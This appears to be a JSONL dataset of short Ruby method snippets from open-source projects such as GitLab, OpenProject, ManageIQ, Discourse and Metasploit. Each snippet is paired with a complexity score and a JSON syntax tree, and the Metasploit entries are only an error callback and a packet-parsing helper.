{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/inbox_members_controller.rb","start_line":61,"raw_source":"def fetch_inbox\n    @inbox = Current.account.inboxes.find(params[:inbox_id])\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"inboxes\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inbox_id\"]}]}]}]}]}","id":"6a7b9903-aed6-453b-8f02-933c409675a1"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/intuit_quick_books/client.rb","start_line":74,"raw_source":"def execute_query(access_token, base_query, limit, offset)\n        total_fetched = 0\n        current_offset = offset\n        result = []\n\n        while total_fetched < limit\n          batch_limit = [MAX_PER_PAGE, limit - total_fetched].min\n          paginated_query = \"#{base_query} STARTPOSITION #{current_offset + 1} MAXRESULTS #{batch_limit}\"\n\n          response = query_quickbooks(access_token, paginated_query)\n          records = JSON.parse(response.body)[\"QueryResponse\"] || {}\n\n          break if records.empty?\n\n          records.each_value do |rows|\n            next unless rows.is_a?(Array)\n\n            rows.each do |row|\n              result << row\n            end\n          end\n\n          fetched_count = result.size - total_fetched\n          break if fetched_count < batch_limit\n\n          total_fetched += fetched_count\n          current_offset += fetched_count\n        end\n        result\n      end","complexity_score":43.85,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_token\"]},{\"type\":\"arg\",\"children\":[\"base_query\"]},{\"type\":\"arg\",\"children\":[\"limit\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total_fetched\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"current_offset\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_fetched\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_PER_PAGE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"total_fetched\"]}]}]},\"min\"]}]},{\"type\":\"lvasgn\",\"children\":[\"paginated_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_query\"]}]},{\"type\":\"str\",\"children\":[\" STARTPOSITION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_offset\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" MAXRESULTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_limit\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"query_quickbooks\",{\"type\":\"lvar\",\"children\":[\"access_token\"]},{\"type\":\"lvar\",\"children\":[\"paginated_query\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"QueryResponse\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fetched_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"size\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"total_fetched\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_count\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"batch_limit\"]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total_fetched\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"fetched_count\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_offset\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"fetched_count\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"02aaa47c-b7cf-47bc-927e-a4b59dc5e871"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/path_helper.rb","start_line":591,"raw_source":"def self.work_package(id, timestamps: nil)\n            \"#{root}/work_packages/#{id}\" +\n              if (param_value = timestamps_to_param_value(timestamps)).present? && Array(timestamps).any?(&:historic?)\n                \"?#{{ timestamps: param_value }.to_query}\"\n              end.to_s\n          end","complexity_score":17.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"kwoptarg\",\"children\":[\"timestamps\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root\"]}]},{\"type\":\"str\",\"children\":[\"/work_packages/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"param_value\",{\"type\":\"send\",\"children\":[null,\"timestamps_to_param_value\",{\"type\":\"lvar\",\"children\":[\"timestamps\"]}]}]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"timestamps\"]}]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"historic?\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"lvar\",\"children\":[\"param_value\"]}]}]},\"to_query\"]}]}]},null]},\"to_s\"]}]}]}","id":"f3d95972-9a14-4722-8422-6ce26fa4dec9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/capture.rb","start_line":32,"raw_source":"def failed(_id, _error, _mod)\n          @dispatcher.print_error(\"#{@name} failed to start\")\n          @done_event.set\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"failed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_id\"]},{\"type\":\"arg\",\"children\":[\"_error\"]},{\"type\":\"arg\",\"children\":[\"_mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dispatcher\"]},\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"str\",\"children\":[\" failed to start\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@done_event\"]},\"set\"]}]}]}","id":"bcbf7b0e-56d7-445d-b219-053fb894abd7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/models/ldap_groups/synchronized_group.rb","start_line":63,"raw_source":"def user_id(user)\n      case user\n      when Integer\n        user\n      when User\n        user.id\n      else\n        raise ArgumentError, \"Expected User or User ID (Integer) but got #{user}\"\n      end\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"user_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected User or User ID (Integer) but got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}","id":"daba61a6-9e14-4d52-b2c7-d3610c5c40e6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_chassis.rb","start_line":35,"raw_source":"def event_where_clause(assoc = :ems_events)\n    [\"#{events_table_name(assoc)}.physical_chassis_id = ?\", id]\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"event_where_clause\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"assoc\",{\"type\":\"sym\",\"children\":[\"ems_events\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"events_table_name\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]}]},{\"type\":\"str\",\"children\":[\".physical_chassis_id = ?\"]}]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"10f3709b-0d2a-457a-8659-1b390ebd9881"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vbulletin.rb","start_line":241,"raw_source":"def import_user_salts\n    puts \"\", \"Importing user salts...\"\n\n    user_salts = mysql_stream <<-SQL\n        SELECT userid, salt\n          FROM #{TABLE_PREFIX}user\n         WHERE userid > #{@last_imported_user_id}\n           AND LENGTH(COALESCE(salt, '')) > 0\n      ORDER BY userid\n    SQL\n\n    create_custom_fields(\"user\", \"salt\", user_salts) do |row|\n      { record_id: user_id_from_imported_id(row[0]), value: row[1] }\n    end\n  end","complexity_score":8.83,"ast_json":"{\"type\":\"def\",\"children\":[\"import_user_salts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing user salts...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_salts\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT userid, salt\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"user\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE userid > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_imported_user_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"           AND LENGTH(COALESCE(salt, '')) > 0\\n\"]},{\"type\":\"str\",\"children\":[\"      ORDER BY userid\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_custom_fields\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"salt\"]},{\"type\":\"lvar\",\"children\":[\"user_salts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"aefb3aeb-2b50-4776-a52a-0c38af891941"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/relative_positioning/mover_spec.rb","start_line":40,"raw_source":"def set_positions(positions)\n    mapping = issues.zip(positions).to_h do |issue, pos|\n      [issue, { relative_position: pos }]\n    end\n\n    ::Gitlab::Database::BulkUpdate.execute([:relative_position], mapping)\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_positions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"positions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues\"]},\"zip\",{\"type\":\"lvar\",\"children\":[\"positions\"]}]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"arg\",\"children\":[\"pos\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_position\"]},{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"BulkUpdate\"]},\"execute\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_position\"]}]},{\"type\":\"lvar\",\"children\":[\"mapping\"]}]}]}]}","id":"b6f2c091-19b4-4bc5-86c7-00492f75174a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/require_parentheses.rb","start_line":44,"raw_source":"def check_ternary(ternary, node)\n          if node.method?(:[]) || node.assignment_method? || !ternary.condition.operator_keyword?\n            return\n          end\n\n          range = range_between(node.source_range.begin_pos, ternary.condition.source_range.end_pos)\n\n          add_offense(range)\n        end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_ternary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ternary\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"[]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"assignment_method?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ternary\"]},\"condition\"]},\"operator_keyword?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ternary\"]},\"condition\"]},\"source_range\"]},\"end_pos\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}","id":"797970c1-92ee-4d9b-b9e8-f1a1e56322e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/ci/runner/jobs_artifacts_spec.rb","start_line":302,"raw_source":"def request_with_second_scope\n          upload_artifacts(fixture_file_upload('spec/fixtures/banana_sample.gif', 'image/gif'), headers, {}, job2)\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"request_with_second_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"upload_artifacts\",{\"type\":\"send\",\"children\":[null,\"fixture_file_upload\",{\"type\":\"str\",\"children\":[\"spec/fixtures/banana_sample.gif\"]},{\"type\":\"str\",\"children\":[\"image/gif\"]}]},{\"type\":\"send\",\"children\":[null,\"headers\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"job2\"]}]}]}","id":"d38da4f8-b5b4-4fb0-be0b-cded45429a23"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/groups/row_component.rb","start_line":41,"raw_source":"def created_at\n      helpers.format_date(model.created_at)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"created_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"format_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"created_at\"]}]}]}","id":"1d940349-92f5-4468-aeed-7aed3f323ef5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/retirement_mixin.rb","start_line":283,"raw_source":"def q_user_info(q_options, requester)\n    if requester && requester.kind_of?(String)\n      requester = User.find_by(:userid => requester)\n    end\n    if requester\n      q_options[:user_id] = requester.id\n      if requester.current_group.present? && requester.current_tenant.present?\n        q_options[:group_id] = requester.current_group.id\n        q_options[:tenant_id] = requester.current_tenant.id\n      end\n    end\n    q_options\n  end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"q_user_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q_options\"]},{\"type\":\"arg\",\"children\":[\"requester\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"requester\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"requester\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},\"current_group\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},\"current_tenant\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},\"current_group\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tenant_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requester\"]},\"current_tenant\"]},\"id\"]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"q_options\"]}]}]}","id":"7c441f82-245d-452e-9aad-7b9863cd5478"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/connection_redaction.rb","start_line":22,"raw_source":"def nodes\n        redaction_state.redacted { super.to_a }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"nodes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redaction_state\"]},\"redacted\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"to_a\"]}]}]}","id":"53febfb9-42ca-4583-988b-40306caada18"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/manageiq_spec.rb","start_line":12,"raw_source":"def without_rails(rb_cmd)\n    miq_lib_file = Rails.root.join(\"lib/manageiq.rb\")\n    `#{Gem.ruby} -e 'require \"#{miq_lib_file}\"; print #{rb_cmd}'`\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"without_rails\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rb_cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"miq_lib_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"lib/manageiq.rb\"]}]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"ruby\"]}]},{\"type\":\"str\",\"children\":[\" -e 'require \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_lib_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\"; print \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rb_cmd\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}","id":"d98026a3-6f9c-42b7-80e8-311334a4c66d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/arp/arp_poisoning.rb","start_line":343,"raw_source":"def getreply\n    pkt_bytes = capture.next\n    return if !pkt_bytes\n\n    pkt = PacketFu::Packet.parse(pkt_bytes)\n    return unless pkt.is_arp?\n    return unless pkt.arp_opcode == 2\n\n    pkt\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"getreply\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},\"next\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt_bytes\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"Packet\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"pkt_bytes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"is_arp?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"arp_opcode\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"pkt\"]}]}]}","id":"ea9b4046-2bdd-44b4-8cb6-c12899a80789"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/scheduling/schedule_within_worker.rb","start_line":64,"raw_source":"def valid_hour?(hour)\n        hour.nil? || (1..23).cover?(hour.to_i)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_hour?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hour\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hour\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[23]}]}]},\"cover?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hour\"]},\"to_i\"]}]}]}]}","id":"9d64e6f8-a9c1-4055-bad3-064d7a774a5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/graphql/docs/helper.rb","start_line":147,"raw_source":"def interfaces\n          graphql_interface_types.map { |t| t.merge(fields: t[:fields] + t[:connections]) }\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"interfaces\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_interface_types\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fields\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"connections\"]}]}]}]}]}]}]}]}","id":"8af1673c-bd8e-4579-b167-1e359dfc9886"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export.rb","start_line":99,"raw_source":"def group_config_file\n      Rails.root.join('lib/gitlab/import_export/group/import_export.yml')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_config_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"lib/gitlab/import_export/group/import_export.yml\"]}]}]}","id":"40c1aefb-1c92-4a82-941e-bbbb2a2b71db"}
